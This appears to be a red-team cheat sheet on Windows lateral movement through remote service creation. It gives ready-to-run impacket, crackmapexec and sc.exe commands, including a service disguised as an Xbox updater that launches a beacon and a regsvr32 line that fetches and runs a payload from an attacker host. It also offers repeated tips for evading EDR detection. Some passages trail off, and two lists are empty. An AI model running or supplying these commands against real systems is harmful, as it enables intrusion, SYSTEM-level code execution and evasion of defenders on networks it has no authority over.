Lateral Movement trough Services

05.06.2024 · dadevel

Lateral Movement by using the MS-SCMR protocol to create or update services and execute commands in system context.

Classic PsExec. The typically flow is to upload an executable over SMB, create a service that points to the executable, start the service and send input and output over a SMB named pipe.

impacket-psexec -k -no-pass srv01.corp.local

With slightly improved OpSec (source).

impacket-psexec -file ./RemCom.exe -service-name WindowsTelemetry -remote-binary-name telemetry.exe -k -no-pass srv01.corp.local

An obsufcated version of RemCom can be compiled with

Warning: Old versions create a service that allows unauthenticated remote command execution and can be exploited with (source).

.\psexec.exe -accepteula -i -s \\srv01.corp.local powershell.exe

OpSec: PsExec is very noisy. You should prefer a different technique.

A variation of PsExec is SMBExec. It works by creating a service that executes a command, writes the output to a file and then retrieves the output over SMB.

impacket-smbexec -k -no-pass -shell-type powershell

OpSec: When -mode server is specified the command output is directly written to the attackers SMB share.

crackmapexec smb -u jdoe -p 'passw0rd' --exec-method smbexec -x 'whoami /all'

OpSec: Many EDRs detecte the use of -X.

Upload a file and create a service manually.

impacket-services -k -no-pass ws01.corp.local create -name XboxUpdSvc -display 'Xbox Updater' -path 'C:\Windows\Temp\beacon.exe'
impacket-services -k -no-pass ws01.corp.local change -name XboxUpdSvc -start_name 'NT Authority\System'
impacket-services -k -no-pass ws01.corp.local start -name XboxUpdSvc
sc.exe \\srv01.corp.local create XboxUpdSvc binpath= "C:\Windows\System32\regsvr32.exe /s /n /u /i:http://attacker.lan/setup.exe scrobj.dll"
sc.exe \\srv01.corp.local start XboxUpdSvc

OpSec: Modify the command of an existing service or overwrite the binary of an service to avoid detections based on remote service creation.

Builtin services that can be modified relatively safe:


Untested tools: